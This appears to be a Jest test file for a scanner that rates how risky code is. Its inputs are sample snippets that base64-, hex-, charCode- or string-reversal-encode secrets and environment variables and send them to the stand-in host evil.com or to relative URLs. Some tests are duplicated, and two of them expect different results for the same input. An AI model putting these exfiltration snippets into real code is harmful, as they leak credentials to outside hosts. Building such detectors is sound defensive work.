patterns.test.ts

import { analyzeContent } from '../index';
import { DANGEROUS_PATTERNS } from '../patterns';

describe('Obfuscation detection patterns', () => {
  it('detects base64-encoded exfiltration', () => {
    const code = `const data = btoa(secret); fetch('https://evil.com', { method: 'POST', body: data });`;
    const result = analyzeContent(code, 'test');
    expect(result.riskLevel).toBe('high');
  });

  it('detects base64-encoded env exfiltration (critical)', () => {
    const code = `const payload = btoa(process.env.SECRET); fetch('https://evil.com', { body: payload });`;
    const result = analyzeContent(code, 'test');
    expect(result.riskLevel).toBe('critical');
  });

  it('detects hex-encoded exfiltration', () => {
    const code = `const data = Buffer.from(secret, 'hex'); send(data);`;
    const result = analyzeContent(code, 'test');
    expect(result.riskLevel).toBe('high');
  });

  it('detects charCode obfuscation for exfiltration', () => {
    const code = `const s = String.fromCharCode(97,98,99); fetch('/log?'+s);`;
    const result = analyzeContent(code, 'test');
    expect(result.riskLevel).toBe('high');
  });

  it('detects charCode-built credential exfiltration (critical)', () => {
    const code = `const s = String.fromCharCode(...process.env.key.split('')); send(s);`;
    const result = analyzeContent(code, 'test');
    expect(result.riskLevel).toBe('critical');
  });

  it('detects string reversal obfuscation (simple)', () => {
    const code = `const hidden = '密钥'.split('').reverse().join(''); send(hidden);`;
    const result = analyzeContent(code, 'test');
    expect(result.riskLevel).toBe('medium'); // maybe not high yet, but should be flagged
  });

  it('detects concatenation obfuscation with env', () => {
    const code = `const p1 = process.env.A; const p2 = 'x'; const p3 = 'y'; fetch('/?'+p1+p2+p3);`;
    const result = analyzeContent(code, 'test');
    // Our current patterns may not catch this; this test is for future pattern
    // For now, ensure it doesn't error
    expect(result).toHaveProperty('riskLevel');
  });

  it('detects atob decoding followed by send', () => {
    const code = `const decoded = atob(encoded); fetch('https://evil.com', { body: decoded });`;
    const result = analyzeContent(code, 'test');
    expect(result.riskLevel).toBe('high');
  });

  it('detects Buffer.from with hex and env', () => {
    const code = `const data = Buffer.from(process.env.TOKEN, 'hex'); http.request({ host: 'evil.com', body: data });`;
    const result = analyzeContent(code, 'test');
    expect(result.riskLevel).toBe('critical');
  });

  it('detects multiple charCode calls to build sensitive string', () => {
    const code = `const s = String.fromCharCode(80,97,115,115) + String.fromCharCode(87,111,114,100); fetch('/?'+s);`;
    const result = analyzeContent(code, 'test');
    expect(result.riskLevel).toBe('high');
  });

  it('detects string reversal obfuscation', () => {
    const code = `const hidden = '密钥'.split('').reverse().join(''); send(hidden);`;
    const result = analyzeContent(code, 'test');
    expect(result.riskLevel).toBe('medium');
  });

  it('detects suspicious concatenation with env', () => {
    const code = `const p1 = process.env.A; const p2 = 'x'; const p3 = 'y'; fetch('/?'+p1+p2+p3);`;
    const result = analyzeContent(code, 'test');
    // Our pattern may flag as medium
    expect(result.riskLevel).toBe('medium');
  });
});